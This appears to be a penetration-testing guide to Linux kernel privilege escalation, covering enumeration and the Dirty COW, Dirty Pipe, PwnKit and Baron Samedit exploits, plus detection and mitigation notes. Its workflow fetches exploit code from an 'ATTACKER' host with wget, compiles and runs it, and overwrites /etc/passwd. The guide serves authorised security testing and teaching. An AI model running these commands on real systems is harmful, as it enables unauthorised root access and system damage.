Linux kernel exploitation diagram showing DirtyCOW, Dirty Pipe, and privilege escalation

Linux Kernel Exploits

Guide to identifying and exploiting Linux kernel vulnerabilities for privilege escalation, including enumeration techniques, common exploits, and safety considerations.

Jan 13, 2026
Updated Dec 11, 2025
2 min read

Introduction

Kernel exploits target vulnerabilities in the Linux kernel itself, providing a direct path to root privileges. While other privilege escalation techniques exploit misconfigurations, kernel exploits leverage actual software vulnerabilities in the most privileged code on the system.

Use With Caution

Kernel exploits carry significant risk:

  • System crashes - Failed exploits can cause kernel panics
  • Data corruption - Memory corruption can damage filesystems
  • Detection - Kernel crashes generate obvious alerts
  • Instability - Even successful exploits may leave systems unstable

Always get explicit permission before using kernel exploits, and prefer other escalation methods when available.

Enumeration

System Information

# Kernel version
uname -a
Linux target 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64

# OS release
cat /etc/os-release
cat /etc/lsb-release

# Architecture
uname -m
arch

Automated Enumeration

# Linux Exploit Suggester
./linux-exploit-suggester.sh

# Linux Exploit Suggester 2
python linux-exploit-suggester-2.py

# LinPEAS kernel section
./linpeas.sh | grep -A 20 "Kernel"

Finding Exploits

# Search Exploit-DB
searchsploit linux kernel 4.4 privilege escalation

# Search by specific version
searchsploit linux kernel 4.4.0

Common Resources

Notable Kernel Exploits

Dirty COW (CVE-2016-5195)

Affected: Linux Kernel 2.6.22 - 4.8.3

Race condition in copy-on-write mechanism allowing write access to read-only memory mappings.

# Compile
gcc -pthread dirty.c -o dirty -lcrypt

# Run
./dirty

Dirty Pipe (CVE-2022-0847)

Affected: Linux Kernel 5.8 - 5.16.11

Pipe buffer flag manipulation allowing arbitrary file overwrites.

# Compile
gcc exploit.c -o exploit

# Overwrite /etc/passwd
./exploit /etc/passwd 1 "$(cat payload)"

PwnKit (CVE-2021-4034)

Affected: Polkit (pkexec) - Most Linux distributions

Memory corruption in pkexec allowing local privilege escalation.

# Compile and run
gcc pwnkit.c -o pwnkit
./pwnkit

Sudo Baron Samedit (CVE-2021-3156)

Affected: Sudo 1.8.2 - 1.8.31p2, 1.9.0 - 1.9.5p1

Heap buffer overflow in sudo's argument parsing.

# Check vulnerability
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes, likely vulnerable

# Run exploit
./exploit

Exploitation Workflow

1. Identify Kernel Version

uname -r
4.4.0-116-generic

2. Search for Exploits

searchsploit linux kernel 4.4.0
# or
searchsploit "linux kernel 4.4" | grep -i "privilege"

3. Download and Transfer

# On attacker
searchsploit -m 40839
python3 -m http.server 8000

# On target
wget http://ATTACKER:8000/40839.c

4. Compile

# Simple compilation
gcc exploit.c -o exploit

# With specific flags (check exploit comments)
gcc -pthread exploit.c -o exploit -lcrypt

5. Execute

./exploit
# id
uid=0(root) gid=0(root) groups=0(root)

Cross-Compilation

If the target lacks a compiler:

# On attacker (compile for target architecture)
# For 64-bit target
gcc -m64 exploit.c -o exploit64

# For 32-bit target
gcc -m32 exploit.c -o exploit32

# Static compilation (no library dependencies)
gcc -static exploit.c -o exploit

Safety Considerations

Before Running

  1. Backup critical data if possible
  2. Test in lab with matching kernel version
  3. Read the exploit code - understand what it does
  4. Check for safer alternatives (sudo, SUID, cron, etc.)

During Engagement

  1. Document kernel version before attempting
  2. Have recovery plan for system crashes
  3. Notify client of risks before running
  4. Avoid production systems if possible

Common Failure Modes

  • Kernel panic - System crashes, requires reboot
  • Segmentation fault - Exploit failed, may be wrong version
  • No effect - Kernel may be patched
  • Partial success - Elevated but unstable

Detection and Forensics

Indicators

  • Kernel crash logs in /var/log/kern.log
  • Suspicious compiled binaries in /tmp
  • Unusual process memory patterns
  • Core dumps from crashes

Mitigation

# Check kernel version and patches
apt list --installed | grep linux-image

# Apply security updates
apt update && apt upgrade

# Enable kernel hardening
# /etc/sysctl.conf
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2

References

MITRE ATT&CK Techniques

Vulnerabilities

Security Resources

Last updated on

Linux Kernel Exploits | Drake Axelrod